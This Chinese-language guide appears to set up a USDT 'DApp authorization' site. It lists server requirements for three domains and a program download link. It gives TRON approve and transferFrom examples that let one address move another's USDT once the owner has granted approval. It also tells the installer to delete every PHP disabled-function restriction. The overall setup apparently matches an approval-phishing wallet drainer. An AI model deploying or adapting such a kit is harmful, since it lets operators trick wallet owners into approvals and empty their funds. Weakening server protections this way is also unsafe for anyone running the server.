USDT/DAPP授权原理 /USDT接口实现

一、安装需求

http://AAA.com

http://bbb.com

http://ccc.com

需要三个域名

1、安装环境

a .服务器 centos7以上

//软件商店

b.nginx1.2以上

c.php7.3版本

c1.安装php扩展 redis和gmp

c2.删除所有php禁用函数（宝塔的软件商店，点击php设置，禁用函数，点击删除）

d.mysql5.7 + phpMyAdmin

e.redis6.26 或者reids5+

1.设置redis密码 （如果不设置 REDIS_PASSWORD=）

环境配置完成，即可上线程序。

调用TRC20合约的approve函数授权代币使用权给其他地址、

HTTP API :

demo:向某个

wallet/triggersmartcontract

curl -X POST https://127.0.0.1:8090/wallet/triggersmartcontract -d '{

"contract_address":"419E62BE7F4F103C36507CB2A753418791B1CDC182",

"function_selector":"approve(address,uint256)",

"parameter":"0000000000000000000000410FB357921DFB0E32CBC9D1B30F09AAD13017F2CD0000000000000000000000000000000000000000000000000000000000000064",

"fee_limit":100000000,

"call_value":0,

"owner_address":"41977C20977F412C2A1AA4EF3D49FEE5EC4C31CDFB"

}'

3、实现功能与页面：

下载链接：网盘下载

二、调用TRC20合约的transferFrom函数实现转账，配合approve方法使用

JAVA Tronweb示例:

const TronWeb = require('tronweb')

const HttpProvider = TronWeb.providers.HttpProvider;

const fullNode = new HttpProvider("https://127.0.0.1:8090");

const solidityNode = new HttpProvider("https://127.0.0.1:8090");

const eventServer = new HttpProvider("https://127.0.0.1:8090");

const privateKey = "your private key";

const tronWeb = new TronWeb(fullNode,solidityNode,eventServer,privateKey);

async function triggerSmartContract() {

// Address B transfers 10 USDT from address A to C: B calls transferFrom (A, C, 10)

const trc20ContractAddress = "TQQg4EL8o1BSeKJY4MJ8TB8XK7xufxFBvK";//contract address

try {

let contract = await tronWeb.contract().at(trc20ContractAddress);

//Use send to execute a non-pure or modify smart contract method on a given smart contract that modify or change values on the blockchain.

// These methods consume resources(bandwidth and energy) to perform as the changes need to be broadcasted out to the network.

await contract.transferFrom(

"TM2TmqauSEiRf16CyFgzHV2BVxBej...", //address _from

"TVDGpn4hCSzJ5nkHPLetk8KQBtwaT...", //address _to

100000 //amount

).send({

feeLimit: 10000000

}).then(output => {console.log('- Output:', output, '\n');});

} catch(error) {

console.error("trigger smart contract error",error)

}

}